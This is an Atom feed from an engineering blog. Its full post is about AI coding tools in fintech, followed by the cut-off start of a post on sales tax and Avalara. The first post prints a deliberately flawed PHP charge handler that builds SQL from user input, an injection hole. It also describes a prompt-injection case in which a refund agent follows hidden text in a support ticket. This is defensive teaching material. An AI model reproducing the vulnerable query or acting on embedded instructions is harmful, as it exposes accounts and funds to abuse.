<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en_US"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://milandawijekoon.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://milandawijekoon.github.io/" rel="alternate" type="text/html" hreflang="en_US" /><updated>2026-09-27T08:30:54+00:00</updated><id>https://milandawijekoon.github.io/feed.xml</id><title type="html">Milanda Wijekoon</title><subtitle>Milanda Wijekoon — Associate Technical Lead building scalable SaaS and fintech platforms with PHP/Laravel, Vue.js, Node.js and AWS.</subtitle><author><name>Milanda Wijekoon</name><email>milandawijekoon@gmail.com</email></author><entry><title type="html">AI-Assisted Development in Fintech Engineering: Moving Fast With Claude Code and Copilot Without Breaking Compliance</title><link href="https://milandawijekoon.github.io/blog/ai-assisted-development-in-fintech-engineering/" rel="alternate" type="text/html" title="AI-Assisted Development in Fintech Engineering: Moving Fast With Claude Code and Copilot Without Breaking Compliance" /><published>2026-09-27T00:00:00+00:00</published><updated>2026-09-27T00:00:00+00:00</updated><id>https://milandawijekoon.github.io/blog/ai-assisted-development-in-fintech-engineering</id><content type="html" xml:base="https://milandawijekoon.github.io/blog/ai-assisted-development-in-fintech-engineering/"><![CDATA[<p>An engineer asks an AI assistant to “add a discount field to the checkout total.” Thirty seconds later there’s a working diff: a new column, a calculation, a test that passes. It ships. Three weeks later finance flags a reconciliation mismatch of a few cents on thousands of orders. The AI used a <code class="language-plaintext highlighter-rouge">float</code> for money, exactly the way most public code examples do, because that’s what most public code does.</p>

<p>Nobody typed a bug. The model wrote plausible, idiomatic, <strong>wrong</strong> code, and it looked so normal that it slid past review. That’s the whole story of AI in fintech engineering: the tools are genuinely fast at the 80% that looks like everything else, and genuinely dangerous at the 20% that makes fintech different — money, regulation, and irreversible external side effects.</p>

<p>This note covers where tools like <strong>Claude Code</strong> and <strong>GitHub Copilot</strong> speed up real delivery, the failure patterns that have actually bitten regulated teams, and the code-level habits that keep AI-assisted output safe to merge.</p>

<hr />

<h2 id="where-ai-genuinely-accelerates-fintech-delivery">Where AI genuinely accelerates fintech delivery</h2>

<div>

  <table>
    <thead>
      <tr>
        <th>Task</th>
        <th>Why AI helps</th>
        <th>What it does <em>not</em> replace</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><strong>Boilerplate &amp; scaffolding</strong></td>
        <td>Migrations, DTOs, repository classes, CRUD controllers</td>
        <td>Deciding what the domain model <em>should</em> be</td>
      </tr>
      <tr>
        <td><strong>Test generation</strong></td>
        <td>Fast coverage for edge cases (negative amounts, zero, max int)</td>
        <td>Deciding which edge cases <em>matter</em> for the regulation in play</td>
      </tr>
      <tr>
        <td><strong>Reading unfamiliar code</strong></td>
        <td>Summarizing a legacy ledger module in seconds</td>
        <td>Knowing <em>why</em> it was written that way (often: a past incident)</td>
      </tr>
      <tr>
        <td><strong>First-draft system design</strong></td>
        <td>Sketching a reconciliation service, sequence diagrams, API shapes</td>
        <td>Threat-modeling it against PCI-DSS / AML / your license terms</td>
      </tr>
      <tr>
        <td><strong>Code review assistant</strong></td>
        <td>Catching style issues, missing null checks, obvious typos</td>
        <td>Catching business-logic errors a domain expert would spot</td>
      </tr>
    </tbody>
  </table>

</div>

<p>The pattern: AI compresses the <strong>mechanical</strong> part of engineering — typing, boilerplate, first drafts — and leaves the <strong>judgment</strong> part exactly where it was. In a CRUD app, judgment gaps show up as annoying bugs. In fintech, they show up as money that moved when it shouldn’t have, or a regulator asking why.</p>

<figure>
<svg viewBox="0 0 680 300" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Diagram splitting engineering work into a mechanical layer that AI compresses well — boilerplate, tests, first drafts — and a judgment layer that AI cannot safely own — compliance scope, threat modeling, business-rule correctness, and irreversible-action sign-off.">
  <style>
    .h{font:700 13px -apple-system,Segoe UI,Roboto,sans-serif;}
    .t{font:600 12.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .m{font:12px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    .n{font:12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    .s{font:11.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#334155;}
  </style>
  <rect x="1" y="1" width="678" height="130" rx="10" fill="#eff6ff" stroke="#bfdbfe" />
  <text class="h" x="16" y="26" fill="#1d4ed8">Mechanical layer — AI compresses this well</text>
  <rect x="20" y="42" width="150" height="72" rx="8" fill="#fff" stroke="#93c5fd" />
  <text class="t" x="95" y="66" text-anchor="middle">Boilerplate</text>
  <text class="n" x="95" y="84" text-anchor="middle">migrations, DTOs,</text>
  <text class="n" x="95" y="100" text-anchor="middle">CRUD controllers</text>
  <rect x="185" y="42" width="150" height="72" rx="8" fill="#fff" stroke="#93c5fd" />
  <text class="t" x="260" y="66" text-anchor="middle">Test scaffolds</text>
  <text class="n" x="260" y="84" text-anchor="middle">edge-case inputs,</text>
  <text class="n" x="260" y="100" text-anchor="middle">fixture data</text>
  <rect x="350" y="42" width="150" height="72" rx="8" fill="#fff" stroke="#93c5fd" />
  <text class="t" x="425" y="66" text-anchor="middle">First drafts</text>
  <text class="n" x="425" y="84" text-anchor="middle">API shapes,</text>
  <text class="n" x="425" y="100" text-anchor="middle">sequence sketches</text>
  <rect x="515" y="42" width="150" height="72" rx="8" fill="#fff" stroke="#93c5fd" />
  <text class="t" x="590" y="66" text-anchor="middle">Code reading</text>
  <text class="n" x="590" y="84" text-anchor="middle">summarizing legacy</text>
  <text class="n" x="590" y="100" text-anchor="middle">ledger modules</text>

  <rect x="1" y="168" width="678" height="130" rx="10" fill="#fef2f2" stroke="#fecaca" />
  <text class="h" x="16" y="193" fill="#b91c1c">Judgment layer — stays with a human, every time</text>
  <rect x="20" y="209" width="150" height="72" rx="8" fill="#fff" stroke="#fca5a5" />
  <text class="t" x="95" y="233" text-anchor="middle">Compliance scope</text>
  <text class="n" x="95" y="251" text-anchor="middle">PCI-DSS, AML,</text>
  <text class="n" x="95" y="267" text-anchor="middle">data residency</text>
  <rect x="185" y="209" width="150" height="72" rx="8" fill="#fff" stroke="#fca5a5" />
  <text class="t" x="260" y="233" text-anchor="middle">Threat modeling</text>
  <text class="n" x="260" y="251" text-anchor="middle">who can abuse</text>
  <text class="n" x="260" y="267" text-anchor="middle">this endpoint?</text>
  <rect x="350" y="209" width="150" height="72" rx="8" fill="#fff" stroke="#fca5a5" />
  <text class="t" x="425" y="233" text-anchor="middle">Business rules</text>
  <text class="n" x="425" y="251" text-anchor="middle">is this discount</text>
  <text class="n" x="425" y="267" text-anchor="middle">logic even correct?</text>
  <rect x="515" y="209" width="150" height="72" rx="8" fill="#fff" stroke="#fca5a5" />
  <text class="t" x="590" y="233" text-anchor="middle">Irreversible actions</text>
  <text class="n" x="590" y="251" text-anchor="middle">who signs off on</text>
  <text class="n" x="590" y="267" text-anchor="middle">a live payment call?</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">AI narrows the mechanical layer fast. It does not narrow the judgment layer at all — and fintech bugs live almost entirely in the judgment layer.</figcaption>
</figure>

<hr />

<h2 id="real-world-failure-scenarios">Real-world failure scenarios</h2>

<p>These are the failure patterns that recur when AI-generated code reaches production in payment and financial systems.</p>

<div>

  <table>
    <thead>
      <tr>
        <th>#</th>
        <th>Scenario</th>
        <th>What actually happens</th>
        <th>Root cause</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td>1</td>
        <td><strong>Floating-point money</strong></td>
        <td>AI suggests <code class="language-plaintext highlighter-rouge">$total = $price * $qty * (1 - $discount)</code>; cents drift after thousands of transactions</td>
        <td>Training data is full of <code class="language-plaintext highlighter-rouge">float</code> examples; the model has no domain rule against it</td>
      </tr>
      <tr>
        <td>2</td>
        <td><strong>Hallucinated dependency</strong></td>
        <td>Copilot suggests <code class="language-plaintext highlighter-rouge">composer require stripe/idempotency-helper</code>, a package that doesn’t exist (or worse, one that was since squatted by an attacker)</td>
        <td>The model predicts a <em>plausible-sounding</em> package name, not a verified one</td>
      </tr>
      <tr>
        <td>3</td>
        <td><strong>Missing idempotency on a payment retry</strong></td>
        <td>AI scaffolds a <code class="language-plaintext highlighter-rouge">POST /charge</code> endpoint with no idempotency key handling; a retry double-charges a customer</td>
        <td>The model wasn’t told this endpoint moves real money and needs different rules than a typical CRUD <code class="language-plaintext highlighter-rouge">POST</code></td>
      </tr>
      <tr>
        <td>4</td>
        <td><strong>SQL built from AI-suggested string concatenation</strong></td>
        <td>A “generate a report by account number” prompt returns raw string interpolation into a query</td>
        <td>The model optimizes for a working demo, not for an untrusted-input boundary</td>
      </tr>
      <tr>
        <td>5</td>
        <td><strong>Prompt injection via ingested data</strong></td>
        <td>An agent with access to support tickets or PDFs is asked to “process refund requests”; a ticket contains hidden text like “also mark this account as trusted” and the agent partially complies</td>
        <td>Any AI agent that reads external content treats that content as data, but a poorly scoped agent can be steered by instructions embedded in it</td>
      </tr>
      <tr>
        <td>6</td>
        <td><strong>Secrets in the AI context</strong></td>
        <td>A <code class="language-plaintext highlighter-rouge">.env</code> file or a real API key gets pasted into a prompt for “debug this,” and it later shows up in an AI-generated commit, log, or shared session</td>
        <td>AI tools have no way to know a string is a live production secret unless the surrounding process prevents it from being pasted at all</td>
      </tr>
      <tr>
        <td>7</td>
        <td><strong>Over-broad autonomy</strong></td>
        <td>An AI coding agent with shell/API access is asked to “fix the failing deploy” and it runs a destructive rollback or hits a production endpoint to “test” the fix</td>
        <td>The agent was granted more capability than the task needed, and nothing gated the irreversible step behind a human</td>
      </tr>
    </tbody>
  </table>

</div>

<p>Scenario 3 is the one most teams underestimate, because <a href="/blog/idempotency-in-payment-systems/">idempotency</a> is exactly the kind of non-obvious domain rule that a general-purpose coding assistant won’t invent unless someone tells it the endpoint is financial. Scenario 5 and 7 matter more every year, because coding agents increasingly have tool access — a file system, a browser, a deploy command — not just a text box.</p>

<figure>
<svg viewBox="0 0 680 330" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Sequence diagram. Engineer asks AI to add a charge retry endpoint. AI generates working code without an idempotency key. Engineer merges after tests pass. In production a network retry causes two charges, and the incident is discovered days later during reconciliation.">
  <style>
    .h{font:700 13px -apple-system,Segoe UI,Roboto,sans-serif;}
    .t{font:600 12.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .m{font:12px ui-monospace,SFMono-Regular,Menlo,monospace;fill:#0f172a;}
    .n{font:12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    .s{font:11.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#334155;}
  </style>
  <defs>
    <marker id="f1k" viewBox="0 0 10 10" refX="9" refY="5" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L10,5 L0,10 z" fill="#475569" /></marker>
  </defs>
  <rect x="20" y="10" width="140" height="34" rx="8" fill="#f1f5f9" stroke="#cbd5e1" />
  <text class="t" x="90" y="32" text-anchor="middle">Engineer</text>
  <rect x="270" y="10" width="140" height="34" rx="8" fill="#ede9fe" stroke="#c4b5fd" />
  <text class="t" x="340" y="32" text-anchor="middle">AI Assistant</text>
  <rect x="520" y="10" width="140" height="34" rx="8" fill="#fef9c3" stroke="#fde047" />
  <text class="t" x="590" y="32" text-anchor="middle">Production</text>
  <path d="M90 44 V320 M340 44 V320 M590 44 V320" stroke="#cbd5e1" stroke-dasharray="4 4" />

  <text class="s" x="215" y="73" text-anchor="middle">1  "Add a retry-safe charge endpoint"</text>
  <path d="M90 80 H338" stroke="#475569" stroke-width="1.5" marker-end="url(#f1k)" />
  <text class="s" x="215" y="108" text-anchor="middle">2  Working code, tests pass</text>
  <path d="M340 115 H92" stroke="#475569" stroke-width="1.5" marker-end="url(#f1k)" />
  <rect x="255" y="126" width="170" height="30" rx="6" fill="#fee2e2" stroke="#fca5a5" />
  <text class="s" x="340" y="146" text-anchor="middle" fill="#b91c1c">No idempotency key — looks fine</text>

  <text class="s" x="90" y="182" text-anchor="middle">3  Reviewed,</text>
  <text class="s" x="90" y="198" text-anchor="middle">merged</text>
  <path d="M90 208 V320" stroke="#94a3b8" stroke-width="1.2" stroke-dasharray="3 3" />

  <text class="s" x="465" y="235" text-anchor="middle">4  Network retry: POST /charge (again)</text>
  <path d="M90 242 H588" stroke="#475569" stroke-width="1.5" marker-end="url(#f1k)" />
  <rect x="500" y="252" width="160" height="30" rx="6" fill="#fee2e2" stroke="#fca5a5" />
  <text class="t" x="580" y="272" text-anchor="middle" fill="#b91c1c">✗ Charged twice</text>

  <text class="s" x="340" y="308" text-anchor="middle">5  Discovered days later during reconciliation</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">The AI wasn't "wrong" by its own standard — the endpoint worked. It just didn't know this endpoint moves money, and nobody told it, or checked for it in review.</figcaption>
</figure>

<hr />

<h2 id="code-level-walkthrough-the-same-feature-two-ways">Code-level walkthrough: the same feature, two ways</h2>

<h3 id="what-an-assistant-tends-to-hand-you-first">What an assistant tends to hand you first</h3>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ❌ AI's first draft: works in the demo, wrong for money</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">charge</span><span class="p">(</span><span class="kt">Request</span> <span class="nv">$request</span><span class="p">)</span>
<span class="p">{</span>
    <span class="nv">$total</span> <span class="o">=</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="n">price</span> <span class="o">*</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="n">qty</span> <span class="o">*</span> <span class="p">(</span><span class="mi">1</span> <span class="o">-</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="n">discount</span><span class="p">);</span> <span class="c1">// float math</span>

    <span class="nv">$rows</span> <span class="o">=</span> <span class="no">DB</span><span class="o">::</span><span class="nf">select</span><span class="p">(</span><span class="s2">"SELECT * FROM accounts WHERE id = "</span> <span class="mf">.</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="n">account_id</span><span class="p">);</span> <span class="c1">// string-built SQL</span>

    <span class="nc">Stripe</span><span class="o">::</span><span class="nf">charges</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">create</span><span class="p">([</span>
        <span class="s1">'amount'</span>   <span class="o">=&gt;</span> <span class="nv">$total</span><span class="p">,</span>          <span class="c1">// no idempotency key at all</span>
        <span class="s1">'currency'</span> <span class="o">=&gt;</span> <span class="s1">'usd'</span><span class="p">,</span>
    <span class="p">]);</span>

    <span class="k">return</span> <span class="nf">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">json</span><span class="p">([</span><span class="s1">'charged'</span> <span class="o">=&gt;</span> <span class="nv">$total</span><span class="p">]);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Every line here is <em>idiomatic</em> — it’s what a huge share of public tutorials show. Nothing about it looks alarming in a fast review, especially if the reviewer is skimming a diff that “obviously” just adds a feature.</p>

<h3 id="what-the-same-request-needs-in-a-regulated-system">What the same request needs in a regulated system</h3>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// ✅ Reviewed for the fintech-specific rules the prompt never stated</span>
<span class="k">public</span> <span class="k">function</span> <span class="n">charge</span><span class="p">(</span><span class="kt">ChargeRequest</span> <span class="nv">$request</span><span class="p">,</span> <span class="kt">StripeClient</span> <span class="nv">$stripe</span><span class="p">)</span>
<span class="p">{</span>
    <span class="c1">// Integers only: cents, not floats. 0.1 + 0.2 !== 0.3 in IEEE 754.</span>
    <span class="nv">$totalMinor</span> <span class="o">=</span> <span class="nb">intval</span><span class="p">(</span><span class="nb">round</span><span class="p">(</span><span class="nv">$request</span><span class="o">-&gt;</span><span class="n">price_minor</span> <span class="o">*</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="n">qty</span> <span class="o">*</span> <span class="p">(</span><span class="mi">1</span> <span class="o">-</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="n">discount_rate</span><span class="p">)));</span>

    <span class="c1">// Parameter binding — never string-concatenate user input into SQL.</span>
    <span class="nv">$account</span> <span class="o">=</span> <span class="no">DB</span><span class="o">::</span><span class="nf">table</span><span class="p">(</span><span class="s1">'accounts'</span><span class="p">)</span><span class="o">-&gt;</span><span class="nf">where</span><span class="p">(</span><span class="s1">'id'</span><span class="p">,</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="n">account_id</span><span class="p">)</span><span class="o">-&gt;</span><span class="nf">first</span><span class="p">();</span>

    <span class="nv">$key</span> <span class="o">=</span> <span class="nv">$request</span><span class="o">-&gt;</span><span class="nb">header</span><span class="p">(</span><span class="s1">'Idempotency-Key'</span><span class="p">);</span> <span class="c1">// required: see idempotency-in-payment-systems</span>
    <span class="nf">abort_if</span><span class="p">(</span><span class="o">!</span> <span class="nc">Str</span><span class="o">::</span><span class="nf">isUuid</span><span class="p">(</span><span class="nv">$key</span><span class="p">),</span> <span class="mi">400</span><span class="p">,</span> <span class="s1">'A UUID Idempotency-Key header is required.'</span><span class="p">);</span>

    <span class="nv">$intent</span> <span class="o">=</span> <span class="nv">$stripe</span><span class="o">-&gt;</span><span class="n">paymentIntents</span><span class="o">-&gt;</span><span class="nf">create</span><span class="p">([</span>
        <span class="s1">'amount'</span>   <span class="o">=&gt;</span> <span class="nv">$totalMinor</span><span class="p">,</span>
        <span class="s1">'currency'</span> <span class="o">=&gt;</span> <span class="s1">'usd'</span><span class="p">,</span>
    <span class="p">],</span> <span class="p">[</span>
        <span class="s1">'idempotency_key'</span> <span class="o">=&gt;</span> <span class="nv">$key</span><span class="p">,</span> <span class="c1">// the gateway de-duplicates retries too</span>
    <span class="p">]);</span>

    <span class="k">return</span> <span class="nf">response</span><span class="p">()</span><span class="o">-&gt;</span><span class="nf">json</span><span class="p">([</span><span class="s1">'charged_minor'</span> <span class="o">=&gt;</span> <span class="nv">$totalMinor</span><span class="p">,</span> <span class="s1">'status'</span> <span class="o">=&gt;</span> <span class="nv">$intent</span><span class="o">-&gt;</span><span class="n">status</span><span class="p">]);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Nothing in the second version is exotic. It’s the same feature, with the three domain rules a fintech reviewer applies automatically and a general-purpose model does not: <strong>integers for money, bound parameters for queries, and idempotency for anything that moves funds.</strong> AI tools are excellent at producing this version too — <em>if you ask for it, or if your review process catches its absence</em>. The fix isn’t “don’t use AI.” It’s “don’t skip the review step that used to catch this from a junior engineer.”</p>

<hr />

<h2 id="the-guardrails-that-make-this-safe-in-practice">The guardrails that make this safe in practice</h2>

<figure>
<svg viewBox="0 0 680 300" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Five layers of defense for AI-assisted fintech code: scoped prompts and context, static analysis and secret scanning, domain-rule checklist in code review, security and compliance review for regulated paths, and human sign-off before any irreversible action.">
  <style>
    .h{font:700 13px -apple-system,Segoe UI,Roboto,sans-serif;}
    .t{font:600 12.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .n{font:12px -apple-system,Segoe UI,Roboto,sans-serif;fill:#64748b;}
    .s{font:11.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#334155;}
  </style>
  <rect x="10" y="8" width="180" height="50" rx="8" fill="#f1f5f9" stroke="#cbd5e1" />
  <text class="t" x="100" y="38" text-anchor="middle">1  Scoped context</text>
  <rect x="200" y="8" width="470" height="50" rx="8" fill="#fff" stroke="#e2e8f0" />
  <text class="s" x="214" y="29">Never paste real secrets, PANs, or prod data into a prompt.</text>
  <text class="s" x="214" y="46">Give the assistant only the tool access the task needs.</text>

  <rect x="10" y="66" width="180" height="50" rx="8" fill="#dbeafe" stroke="#93c5fd" />
  <text class="t" x="100" y="96" text-anchor="middle">2  Automated scans</text>
  <rect x="200" y="66" width="470" height="50" rx="8" fill="#fff" stroke="#e2e8f0" />
  <text class="s" x="214" y="87">Secret scanning, SAST, and dependency checks on every AI-authored diff.</text>
  <text class="s" x="214" y="104">Catches leaked keys and hallucinated/typosquatted packages.</text>

  <rect x="10" y="124" width="180" height="50" rx="8" fill="#ede9fe" stroke="#c4b5fd" />
  <text class="t" x="100" y="154" text-anchor="middle">3  Domain checklist</text>
  <rect x="200" y="124" width="470" height="50" rx="8" fill="#fff" stroke="#e2e8f0" />
  <text class="s" x="214" y="145">Integers for money, parameter binding, idempotency on write paths.</text>
  <text class="s" x="214" y="162">A short checklist a reviewer runs on every money-moving diff.</text>

  <rect x="10" y="182" width="180" height="50" rx="8" fill="#fef9c3" stroke="#fde047" />
  <text class="t" x="100" y="212" text-anchor="middle">4  Compliance review</text>
  <rect x="200" y="182" width="470" height="50" rx="8" fill="#fff" stroke="#e2e8f0" />
  <text class="s" x="214" y="203">PCI/AML/data-residency review for anything touching card data or KYC.</text>
  <text class="s" x="214" y="220">A human who owns the license terms, not the model, signs off.</text>

  <rect x="10" y="240" width="180" height="50" rx="8" fill="#dcfce7" stroke="#86efac" />
  <text class="t" x="100" y="270" text-anchor="middle">5  Human on irreversible</text>
  <rect x="200" y="240" width="470" height="50" rx="8" fill="#fff" stroke="#e2e8f0" />
  <text class="s" x="214" y="261">An agent may draft a refund or a deploy; it never executes one unattended.</text>
  <text class="s" x="214" y="278">The same rule this site uses for its own coding agent's actions.</text>
</svg>
<figcaption style="font-size:1.25rem;color:#64748b;margin-top:8px;">None of these layers are AI-specific tooling — they're the same controls a mature fintech team already runs. AI just makes it easier to skip them by accident, because the output looks finished.</figcaption>
</figure>

<hr />

<h2 id="common-pitfalls">Common pitfalls</h2>

<div>

  <table>
    <thead>
      <tr>
        <th>Pitfall</th>
        <th>Why it hurts</th>
        <th>Fix</th>
      </tr>
    </thead>
    <tbody>
      <tr>
        <td><strong>Trusting a fast, clean diff</strong></td>
        <td>Confident, well-formatted code reads as “reviewed” even when it isn’t</td>
        <td>Review AI diffs on money paths at least as carefully as a junior engineer’s first PR</td>
      </tr>
      <tr>
        <td><strong>Not telling the assistant this is financial code</strong></td>
        <td>It defaults to generic web-app patterns (floats, no idempotency)</td>
        <td>State the domain constraint in the prompt <em>and</em> enforce it in a checklist/lint rule</td>
      </tr>
      <tr>
        <td><strong>Pasting real secrets or prod data “just to debug”</strong></td>
        <td>The value can end up in logs, commit history, or a shared session</td>
        <td>Use scrubbed fixtures; treat any AI context window like a semi-public log</td>
      </tr>
      <tr>
        <td><strong>Blind dependency installs from suggestions</strong></td>
        <td>Hallucinated or squatted package names are a supply-chain vector</td>
        <td>Verify the package exists, is maintained, and matches what you intended before installing</td>
      </tr>
      <tr>
        <td><strong>Letting an agent read untrusted content and act on it</strong></td>
        <td>Instructions hidden in a ticket, PDF, or email can steer the agent</td>
        <td>Treat ingested content as data, not commands; keep side-effecting actions behind explicit approval</td>
      </tr>
      <tr>
        <td><strong>Granting an agent more tool access than the task needs</strong></td>
        <td>A “fix the deploy” task doesn’t need production delete rights</td>
        <td>Scope credentials and tool permissions per task, not per project</td>
      </tr>
      <tr>
        <td><strong>Skipping tests because “the AI wrote them too”</strong></td>
        <td>Tests generated by the same model as the code can share its blind spots</td>
        <td>Have a human (or a second, independent pass) write the tests for the risky paths</td>
      </tr>
    </tbody>
  </table>

</div>

<hr />

<h2 id="a-five-point-summary">A five-point summary</h2>

<ol>
  <li><strong>AI compresses the mechanical layer of engineering — boilerplate, first drafts, test scaffolds — not the judgment layer.</strong> Fintech bugs live in judgment: money handling, compliance scope, and irreversible actions.</li>
  <li><strong>The failures aren’t exotic.</strong> Float money, missing idempotency, string-built SQL, and hallucinated packages are the same bugs junior engineers have always introduced — AI just produces them fast and confidently.</li>
  <li><strong>Agentic tools add a new failure class: over-broad autonomy and prompt injection from ingested content.</strong> Scope tool access per task and never let external content carry implicit authority.</li>
  <li><strong>Never put real secrets, card data, or production credentials into a prompt.</strong> Treat the AI’s context the way you’d treat a log file you don’t fully control.</li>
  <li><strong>The fix is the same governance a mature fintech team already has</strong> — checklists, static analysis, compliance review, and a human on every irreversible step — applied consistently to AI-authored code instead of waived because the diff looks clean.</li>
</ol>

<hr />

<h2 id="conclusion">Conclusion</h2>

<p>The honest framing isn’t “AI writes bugs” or “AI writes bug-free code” — it’s that AI writes code exactly as reliable as the review process that receives it. In a regulated, high-stakes domain, the review process is the product. Tools like Claude Code and Copilot make a team meaningfully faster at the parts of engineering that were never where the risk lived. The risk was always in the domain rules nobody writes down until an incident forces them into a checklist — and that checklist matters more, not less, once the code arrives in seconds instead of hours.</p>]]></content><author><name>Milanda Wijekoon</name><email>milandawijekoon@gmail.com</email></author><category term="Fintech" /><summary type="html"><![CDATA[A short, diagram-led note on using AI coding tools like Claude Code and Copilot to speed up fintech system design and delivery — where they help, where they've caused real production incidents, and the review gates that keep a regulated, high-stakes codebase safe. Readable in about 10–15 minutes.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://milandawijekoon.github.io/assets/images/logo.png" /><media:content medium="image" url="https://milandawijekoon.github.io/assets/images/logo.png" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Tax Basics for Software Engineers: Integrating Avalara — Tax Fundamentals, Calculations, Tax Services, Regulations, and Risks</title><link href="https://milandawijekoon.github.io/blog/tax-basics-for-software-engineers-integrating-avalara/" rel="alternate" type="text/html" title="Tax Basics for Software Engineers: Integrating Avalara — Tax Fundamentals, Calculations, Tax Services, Regulations, and Risks" /><published>2026-09-26T00:00:00+00:00</published><updated>2026-09-26T00:00:00+00:00</updated><id>https://milandawijekoon.github.io/blog/tax-basics-for-software-engineers-integrating-avalara</id><content type="html" xml:base="https://milandawijekoon.github.io/blog/tax-basics-for-software-engineers-integrating-avalara/"><![CDATA[<p>Most engineers treat tax as “add a percentage at checkout.” Then the business sells into a second US state, or takes a B2B order from a tax-exempt reseller, or a state changes its rate mid-quarter — and the flat-percentage code is not just wrong, it is a compliance problem with the company’s name on it. This note is the shortcut: the vocabulary, where a service like Avalara sits in your architecture, the calculation lifecycle, code-level integration, and the failure scenarios that actually happen in production.</p>

<hr />

<h2 id="why-tax-is-not-just-a-percentage">Why tax is not “just a percentage”</h2>

<p>In the US alone there are <strong>over 13,000 sales tax jurisdictions</strong> — states, counties, cities, and special districts — each with its own rate, its own rules about which product categories are taxable, and its own filing calendar. A single ZIP code can straddle two tax jurisdictions with different rates. Whether you even owe tax in a state depends on <strong>nexus</strong>, a legal threshold that can be crossed by revenue or transaction count alone, with no physical presence required.</p>

<p>This is precisely why companies like Avalara exist: they turn “what tax applies to this specific order, in this specific place, for this specific product” into one API call, and keep the underlying rate/rule tables updated as thousands of jurisdictions change them.</p>

<hr />

<h2 id="1-the-vocabulary-of-tax">1. The vocabulary of tax</h2>

<table>
  <thead>
    <tr>
      <th>Term</th>
      <th>What it actually means</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Nexus</strong></td>
      <td>The legal connection to a jurisdiction that obligates you to collect its tax. Can be <strong>physical</strong> (an office, a warehouse, an employee) or <strong>economic</strong> (crossing a revenue/transaction threshold, e.g. $100k or 200 transactions/year in a state — the <em>South Dakota v. Wayfair</em> (2018) standard).</td>
    </tr>
    <tr>
      <td><strong>Jurisdiction</strong></td>
      <td>A tax-collecting authority layered geographically: country → state/province → county → city → special district. A single address can owe tax to four or five of these at once, each at its own rate.</td>
    </tr>
    <tr>
      <td><strong>Tax code</strong></td>
      <td>A classification for what you’re selling (e.g. clothing, SaaS, groceries, digital goods). The <em>same</em> jurisdiction can tax clothing at 0% and electronics at 7% — the tax code, not just the address, decides the rate.</td>
    </tr>
    <tr>
      <td><strong>Exemption certificate</strong></td>
      <td>Proof a specific buyer doesn’t owe tax on a purchase — resellers, nonprofits, government buyers. Without one on file, <em>you</em> owe the uncollected tax if audited, even if the sale genuinely should have been exempt.</td>
    </tr>
    <tr>
      <td><strong>VAT / GST vs. sales tax</strong></td>
      <td>Sales tax is collected once, at final sale, in the US model. VAT/GST (EU, UK, most of the world) is collected at <em>every</em> stage of the supply chain, with credits for tax already paid upstream — a fundamentally different calculation, not just a different rate.</td>
    </tr>
    <tr>
      <td><strong>Filing / remittance</strong></td>
      <td>Periodically reporting collected tax to each jurisdiction and paying it over — monthly, quarterly, or annually depending on jurisdiction and volume. This is a <em>separate</em> obligation from calculating and collecting tax correctly at checkout.</td>
    </tr>
    <tr>
      <td><strong>Audit</strong></td>
      <td>A jurisdiction reviewing your historical transactions to verify tax was calculated, collected, and remitted correctly. Audits look at <em>individual transaction records</em>, not aggregate totals — which is why every transaction needs to be individually reconstructable.</td>
    </tr>
  </tbody>
</table>

<figure>
<svg viewBox="0 0 680 230" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="A nested diagram showing tax jurisdictions layered from country down to state, county, city, and special district, each contributing its own rate to one final combined tax rate for a single address.">
  <style>
    .h{font:700 13px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .t{font:600 11.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#0f172a;}
    .n{font:10.5px -apple-system,Segoe UI,Roboto,sans-serif;fill:#475569;}
  </style>
  <rect x="10" y="10" width="330" height="210" rx="10" fill="#eff6ff" stroke="#93c5fd" />
  <rect x="30" y="30" width="290" height="170" rx="8" fill="#dbeafe" stroke="#60a5fa" />
  <rect x="50" y="50" width="250" height="130" rx="8" fill="#bfdbfe" stroke="#3b82f6" />
  <rect x="70" y="70" width="210" height="90" rx="8" fill="#93c5fd" stroke="#2563eb" />
  <rect x="90" y="90" width="170" height="50" rx="6" fill="#60a5fa" stroke="#1d4ed8" />
  <text class="t" x="175" y="46" text-anchor="middle">Country / Federal</text>
  <text class="t" x="175" y="66" text-anchor="middle">State</text>
  <text class="t" x="175" y="86" text-anchor="middle">County</text>
